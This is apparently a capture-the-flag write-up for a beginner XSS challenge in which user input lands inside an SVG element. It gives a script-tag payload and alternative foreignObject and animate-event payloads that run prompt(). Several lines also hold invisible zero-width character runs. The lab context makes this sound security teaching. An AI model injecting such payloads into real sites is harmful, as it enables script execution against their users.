Easy 3

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: svg_context_xss, svg_script_injection

Summary

SiBears XSS School challenge. User input is placed inside an SVG element. Goal: execute prompt("sibears").

Easy 3 — Web Kids 2.0 (SiBears XSS School)

Description

SiBears XSS School challenge. User input is placed inside an SVG element. Goal: execute prompt("sibears").

URL: http://109.233.56.90:11659/xss/easy/3

Analysis

The escape function places user input inside an SVG document:

 js read-only • copy allowed Copy
function escape(s) {
  return '<svg xmlns="http://www.w3.org/1999/svg"> <circle r="10" fill="red"></circle>' + s + ' </svg>';
}

Key feature: SVG (Scalable Vector Graphics) is an XML-based format that supports embedded scripts. Unlike regular HTML context, SVG allows using the <script> tag directly inside it. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

SVG and JavaScript:

• SVG supports inline <script> tags
• Scripts inside SVG execute in the page context
• This makes SVG potentially dangerous with user input

Solution

Payload — simply add a script tag inside SVG:

<script>prompt("sibears")</script>

Resulting HTML:

 html read-only • copy allowed Copy
<svg xmlns="http://www.w3.org/1999/svg"> <circle r="10" fill="red"></circle><script>prompt("sibears")</script> </svg>

Breakdown:

• SVG context allows embedding <script> tags
• Script executes when SVG is rendered
• No need to escape the context — just add the script ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Alternative payloads for SVG:

• <script>prompt("sibears")</script> — direct script
• <foreignObject><body onload=prompt("sibears")></foreignObject> — via foreignObject
• <animate onbegin=prompt("sibears")> — via SVG animation events ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍